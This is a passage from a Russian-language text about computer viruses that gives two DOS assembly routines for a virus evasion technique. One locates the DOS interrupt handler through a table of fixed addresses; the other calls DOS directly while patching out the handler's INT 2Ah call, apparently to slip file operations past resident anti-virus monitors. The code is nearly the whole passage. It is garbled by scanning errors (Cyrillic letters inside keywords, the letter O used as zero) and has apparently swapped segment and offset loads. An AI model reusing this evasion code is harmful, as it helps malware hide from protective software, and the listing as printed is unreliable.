Истории о вирусах

Пример реализации


Рассмотрим две подпрограммы, которые используются для прямого об-

ращения к DOS.

5"

Подпрограмма SetAdr предназначена для определения адреса обработ-

чика DOS методом предопределенных адресов. Для версий DOS, "пра-

вильный" адрес которых неизвестен, используется функция DOS 35h

(получить вектор прерывания).

Подпрограмма CallDOS позволяет обращаться к DOS напрямую. В код

включена проверка на номер функции. Для "безопасных" функций

предусмотрен обычный вызов DOS при помощи инструкции INT 21h.

Процедура установки адреса (один из самых коротких,

;хотя и подозрительных вариантов реализации)



SetAdr ргос near

[Устанавливаем указатель на таблицу в регистре SI

mov si,offset Table

;Читаем очередное значение сегмента и смещения из таблицы

Next:

mov es,[si]

mov bx,[si+2]

; Проверяем контрольный код в слове, адрес которого получен

;из таблицы. Если результат отрицательный, переходим

;к следующему элементу таблицы

cmp es:[bx],2ACDh

jnz Skip

.Сохраняем адрес точки 2А

mov Ofs2A,bx

mov Seg2A,es

;Сохраняем адрес точки 2 из таблицы

mov ax, [si+4]

mov Seg21 ,ax

mov ax, [si+6]

mov Ofs21 ,ax

ret

Skip:

; Переходим к следующему элементу таблицы

add si,8

[Проверяем, не закончилась ли таблица. Если таблица закончилась,

;читаем адрес текущего обработчика прерывания

cmp [si], О

jnz Next

;Читаем адреса текущего обработчика прерывания INT 21 h - метод

;" предопределенных адресов" не сработал, точка входа не найдена

mov ax, 3521h

int 21 h

mov Ofs21,bx

mov Seg21 ,es

ret

;Таблица позиций 2А и 2.

Table dw OFF03h, 5333h,OFF03h, 420Ah

dw OFDC8h, 41D1h,OFDC8h, 411Bh

dw 0

SetAdr endp

Процедура прямого обращения к DOS

CallDOS proc near

;Если функция безопасна, вызываем прерывание обычным способом

cmp ah,3Bh

jb Trivial

cmp ah,42h

ja Trivial

;3аменяем вызов прерывания 2Ah на две команды MOP (9090h)

;в обработчике DOS, предварительно

;сохранив первоначальные значения кода

push es

push ax

push bx

mov es,cs:Ofs2A

mov bx,cs:Seg2A

mov ax,es:[bx]

mov cs:Save, ax

mov es:[bx], 9090h

pop bx

pop ax

pop es

;Вызываем напрямую прерывание DOS

pushf

call cs:dword ptr Ofs21

;Восстанавливаем вызов 2Ah

push es

push ax

push bx

mov es,cs:Ofs2A

mov bx,cs:Seg2A

mov ax,cs:Save

mov es:[bx], ax

pop bx

pop ax

pop es

ret

-.Обычное обращение к DOS (используется для безопасных функций)

Trivial:

int 21 h

ret

;B этом месте сохраняем значение для кода вызова INT 2Ah

Save dw ?

;0бработчик прерывания DOS

Ofs21 dw ?

Seg21 dw ?

;Адрес вызова INT 2Ah из обработчика DOS

Ofs2A dw ?

Seg2A dw ?

CallDOS endp



Содержание раздела